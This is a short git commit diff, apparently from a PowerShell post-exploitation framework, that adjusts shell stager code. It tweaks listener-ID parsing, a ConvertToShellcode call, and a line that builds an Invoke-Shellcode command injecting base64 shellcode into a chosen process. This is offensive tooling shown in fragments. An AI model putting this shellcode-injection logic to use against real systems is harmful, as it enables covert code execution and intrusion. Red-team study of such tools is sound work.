update shell stager logic
parent
54a6fba40f
commit
5eaf06a434
Binary file not shown.
|
@ -2158,7 +2158,7 @@ class PowerShellAgentMenu(SubMenu):
|
|||
if line:
|
||||
if self.mainMenu.modules.modules['powershell/management/shinject']:
|
||||
module = self.mainMenu.modules.modules['powershell/management/shinject']
|
||||
listenerID = line.split(' ')[0].strip()
|
||||
listenerID = line.split(' ')[0]
|
||||
arch = line.split(' ')[-1]
|
||||
module.options['Listener']['Value'] = listenerID
|
||||
module.options['Arch']['Value'] = arch
|
||||
|
|
|
@ -159,7 +159,7 @@ class Stagers:
|
|||
flags = 0
|
||||
flags |= 0x1
|
||||
|
||||
sc = ConvertToShellcode(dllPatched, flags=flags)
|
||||
sc = ConvertToShellcode(dllPatched)
|
||||
|
||||
return sc
|
||||
|
||||
|
|
|
@ -147,6 +147,9 @@ class Module:
|
|||
|
||||
# Add any arguments to the end execution of the script
|
||||
|
||||
#t = iter(sc)
|
||||
#pow_array = ',0x'.join(a+b for a,b in zip(t, t))
|
||||
#pow_array = "@(0x" + pow_array + " )"
|
||||
script += "\nInvoke-Shellcode -ProcessID {} -Shellcode $([Convert]::FromBase64String(\"{}\")) -Force".format(procID, encoded_sc)
|
||||
script += scriptEnd
|
||||
return script
|
||||
|
|
Loading…
Reference in New Issue